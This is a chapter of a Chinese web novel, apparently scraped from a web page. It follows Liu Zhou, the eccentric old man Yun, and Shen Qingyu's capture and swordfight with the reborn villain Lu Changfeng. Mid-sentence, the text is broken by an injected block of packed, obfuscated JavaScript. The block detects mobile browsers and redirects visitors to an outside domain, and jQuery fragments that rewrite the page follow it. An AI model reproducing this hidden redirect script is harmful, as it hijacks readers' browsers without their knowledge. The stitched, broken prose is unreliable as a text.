此后,他万不可口出狂言。
真的,再狂一句他就是狗!
柳舟艰难地背起云老头,走了整整九条街巷,到现在他腿都开始发软了,偏不知这老头吃什么长的,竟如此重。
“瓜娃子,还有最后一条巷子就到头了,再加把劲儿。”云老头晃了晃他那两条长腿。
柳舟呼吸粗重,衣衫不知何时被汗水浸透,听到此话,他幽怨地瞪了一眼,气喘吁吁道:“您别趴着说话不腰疼好么。”
真是造了孽,得亏这老头还留有人性,只让他跑十条巷子便好,若是真跑遍定京城,只怕他的腿也就废了。
最后一条巷子走完,就到了金山寺的山脚。
柳舟肩上一阵酸痛,着实累惨了,再看向那一眼望不到头的石阶,只觉双腿像是灌了铅,连抬起来的力气都没有。
云老头:“瓜娃子,放我下来。”
柳舟闻言,如释重负般将人卸下。他揉着酸痛的肩膀,一时间没缓过来劲。
“平日里疏于练功,这般年纪就如此不济,日后难当重任。”云老头的神情颇为嫌弃,从腰后抽出拐杖,懒得再施舍一个眼神,直直从柳舟面前走去。
而后,柳舟瞪大眼睛,看着那佝偻的背影此刻竟健步如飞,走得如此之快,没过片刻便消失视野,哪里还有半点方才叫喊着“老骨头不行”的气焰。
柳舟觉得自己好像被耍了。
好不容易爬完最后一个石阶,抬眼便瞧见云老头四仰八叉躺在地上,双手不断拍着地面哀嚎:“哎呦这把老骨头要散架喽。”
活像撒泼打滚的小儿。
云老头余光瞥见柳舟,一个鲤鱼打挺坐起身,指着他的鼻子就骂:“好你个没良心的小兔崽子,把我哄骗过来,让老朽自个儿下腿爬如此高的山,你的良心和书一样,都喂到狗肚子里去了!”
骂到激动处,他竟直接抄起草鞋扔来。柳舟被骂懵了,生生挨了这一下。
他张了张嘴,看着老头红润的面色和灵活的身手,一时不知是该气还是该笑。
柳云川啊柳云川,小不忍则乱大某,一定要忍耐,切莫和这个神经兮兮的老头计较,楼儿还在等着他。
柳舟深吸一口气,好言劝道:“您打也打了,骂也骂了,能否再随我走一趟去医治病人?”
云老头冷哼一声:“我走不动。”
“我来背您。”柳舟额角直跳。他心道,这几步路可比那整整十条街巷快多了。
云老头毫不客气地直接跳到他背上,柳舟一个踉跄差点没站稳。
这一路上,云老头的嘴都不曾停过,骂他跟顺口溜似的。起初柳舟还会梗着脖子顶嘴,后来发现这老头越理他越来劲,索性直接装聋作哑。
若不是他腰间挂了个水葫芦,柳舟还真担心他会因话太多而渴死。
与此同时,沈轻虞还在花楼房中悠闲地喝茶,偶尔会抬眼瞧瞧花楼在做什么。
她拿着昨日那把小铁锤,似乎很感兴趣,学着沈轻虞在肩上轻轻敲了几下。
沈轻虞见状无奈笑笑,再看天色,已经快晌午了。
一大早,容祈便赶着回宫,只留下崇影负责保护她的安危。
“柳舟这小子都一上午了怎还没回来?”沈轻虞喝了口茶,嘟囔了句。
这茶是从容祈那里顺过来的,上好的金坛雀舌,醇味甘鲜,回味甘甜。
就在这时,外头响起敲门声。
“楼儿,沈姐姐,我回来了。”
沈轻虞上前一步把门打开,看到两人愣了一下,“这位是?”
“他是我半路遇到的,说是能医治楼儿,我便把带回来了。”柳舟脚步虚浮,声音气若游丝。
花楼看着他喘息未定、狼狈不堪的样子,狐疑道:“云川,你怎的弄成这幅样子?”
柳舟摆摆手:“不打紧,兴许是走得太急。”
几人交谈间,云老头不知何时溜进屋里,东瞧瞧西看看,时不时上前摸两把。
“老先生,乱摸女儿家东西的行为可不好。”沈轻虞注意到他的动作。
云老头盯了她片刻,一个闪身来到沈轻虞面前,仔细打量,“姑娘,你有病。”
“……”沈轻虞面无表情回怼,“你才有病。”
谁知这句话却让云老头的火气“蹭”地上来了,他气冲冲地对着柳舟伸出根手指,“是这瓜娃子说要治病,害我辛辛苦苦赶到这里,拼着一把老骨头却被你这狠心的女娃如此咒骂,天理何在啊!”
柳舟差点没被气吐血,不是,到底谁辛苦啊。
沈轻虞:“……”
眼瞧着云老头垮着一张脸要走,柳舟慌忙把人拦下,“云爷爷,您别走啊,不是这位姑娘治病,是旁边那位。”
云老头:“不让那女娃给我道歉我现在就走!”
柳舟为难地看向沈轻虞,“沈姐姐,这……”
沈轻虞牙都差点咬碎,为了任务,她忍!
“云大夫,恕小女无知,在此赔罪。”她欠了欠身,强行压下心里烧起来的火。
万一呢,这老头没准儿真能医治好花楼。
柳舟张着嘴刚要开口,闻言,爷不出来了。
不是,他为何要喊这老头爷爷?为何不喊他大夫?这老头是不是占他便宜了?
云老头瞟了花楼一眼,不咸不淡道:“你伤的可是头部?”
花楼点点头。
“如此轻微病症倒能让你们困扰良久,一群废物。”
沈轻虞、花楼、柳舟:别拦,拳头硬了。
“你们能碰上我也实属缘分,我会为你亲自施针,不出三日,你便能恢复如初。”云老头道。
几人还未来得及高兴,就听见云老头话锋一转,“不过——”
不过什么?!快说啊!
云老头干咳一声,无辜开口:“不过我没有带药箱和金针。”
“……”
“你们谁愿意再同我走一趟?”云老头顺着胡子,笑眯眯道。
这一路被他支配的恐惧还未完全消散,到了节骨眼儿上,柳舟心一横,视死如归:“我去!”
“还是我来吧。”沈轻虞道:“你留下来陪着花楼,我和这位云大夫一同前去。”
“你一个姑娘家家怎可单独出去,万一遇到危险可如何是好?”
“莫要担忧,还有崇影跟着我。”
柳舟犹豫再三,还是答应了。
这老头应该不会为难沈姐姐一个姑娘。
沈轻虞和崇影跟着云老头来到一间破旧的草屋里,在此期间,她终于明白为何柳舟只是下山一趟就如此狼狈。
这老头事也忒多了!
走几步就嫌累不说,还试图让崇影背着他走,被拒绝就坐在地上撒泼打滚,嘴里念叨着“不知尊卑”“毫无良心”“朽木不可雕”,硬生生逼得崇影背他走了一路。
云老头气急败坏的声音依旧在他们耳边回荡。
实在被折磨惨了。
这间屋子弥漫一股难言的味道,云老头翻箱倒柜找着药箱,沈轻虞和崇影便在一旁耐心等候。
不知过了多久,那老头停止翻箱倒柜的动作,突然转过身,面对着他们,嘴角勾起一抹诡异的微笑,开口时不再是浑厚嘶哑,反而清冽中带有几分戏谑,“我倒小瞧了你们,挺能扛。”
意识到不对,崇影立刻拔刀指向他,警惕道:“你到底是何人!”
“哐当——”
“崇影!”
刀落在地上,崇影像被抽走了力气直直倒下。最后的意识里,他死死盯着沈轻虞的裙角,喉间挤出几个字:“王妃,是迷药,快跑……”
·
夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726860|173953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色如墨,衡山后的密林深处,一块空旷的野地裸露在月光下,昨夜骤雨浸润的泥土仍泛着潮湿的气息。
沈轻虞和崇影被绑在一棵粗壮的树下,面前的篝火袅袅炊烟,燃着火星。
许是离火堆太近,浓烈的烟味直钻鼻腔,沈轻虞硬生生被呛醒了。
她迷迷糊糊睁开眼,身体被粗劣的麻绳绑住,动弹不得。
隔着缭绕的烟雾,沈轻虞隐约看见两个模糊的身影,一黑一白。
她试着抬了抬腿,而后松了口气。
幸好不是麻药,她的身体还有知觉。
听到动静,黑色的身影转过身来,缓缓走上前,“虞儿,你醒了。”
看清那人的长相,沈轻虞脸色微变,旋即浮现害怕的神情,惶恐不安道:“你是谁,为何要抓我!”
陆长风轻笑一声,像是想到什么趣事一般,“那小丫头跟你倒还真有几分相像,连我都能认错。”
沈轻虞眸光一寒。
她的猜测没有错,竟真的是他。
“我记得她醒来之后的第一句话也是‘你是谁,为何要抓我!’”陆长风模仿着她的语气,似笑非笑,“虞儿,你真叫我伤心,不过从前负过你,你却如此狠心,忘记过去种种,转头和你的好夫君恩恩爱爱!”
书中,原男主陆长风不仅是个浪荡子,还是个占有欲极强的阴暗疯子。
只不过,有一点倒是超出沈轻虞的预料——陆长风竟是个重生来的。
倒是她大意了,从未想过这一点。
“你到底在说什么,我从未见过你。”沈轻虞惊恐万分,就连说话都带有几分哽咽。
她极力扮演原主的角色。
“当我睡了一夜过后,我就什么都没有了,那些权贵、红颜就如同大梦一场。”陆长风自顾自说道:“我不甘心,不过幸好,我还有你,我的虞儿。”
“只是我没料到,”陆长风目光瞬间变得冰冷,“你竟扰乱了我原本的计划,你知道我有多想杀了你和你的好夫君吗!”
这段时间他一直暗中跟随沈轻虞,想找个合适的机会下手,没想到做的如此隐蔽竟还被裕王容祈有所察觉,寸步不离跟在沈轻虞身边。
明明上一世,他是他的手下败将!
山林刮起狂风,篝火在风中扭曲挣扎,火星四溅,树影婆娑。
“当我寻到大雍边境的沙漠时,竟找不到北齐公主和她的暗卫,两国君王剑拔弩张之际,我偷偷潜入军队,亲眼瞧见北齐皇帝深夜特访裕王府,便心存怀疑,以为这一切都是容祈的手笔。”
“后来,我如约到了我们曾第一次相遇的地方,却迟迟等不到你的身影,我便在菩提树下,特意露出那把墨竹纹折扇,而你,我的好虞儿,竟然一眼便认出我来,紧紧追着我不放。”
狂风在林间肆虐,发出凄厉的呜咽,在寂静的山野间回荡。
陆长风眼神冰冷,似毒蛇攀附,“从那时起,我便知晓,你也是重生的。”
“我说的对吗?沈轻虞。”
“你话好多。”沈轻虞面色彻底沉了下去,在陆长风看不到的地方悄悄收回匕首,绳子全然掉落。
下个瞬间,她毫不犹豫地抽走崇影腰间的短刀,凌厉的风声划破夜色,直朝着陆长风刺去。
陆长风瞳孔骤缩,仓促后仰,刀尖擦过他的脸颊,落下一道血痕。
“你会武功?”陆长风眉头紧蹙,显然没料到,“既然如此,就别怪我不客气了!”
他抽出长剑,与沈轻虞打得不可开交。月光下,二人身形交错,衣袍翻飞,两道剑光相击之声犹如寒玉破裂。
沈轻虞侧头躲过刺来的长剑,绞落鬓间一缕碎发。
他们对彼此恨意滔天,招招致命,恨不得当场杀死对方。
一个因她失去权贵,一个因他做了牛马。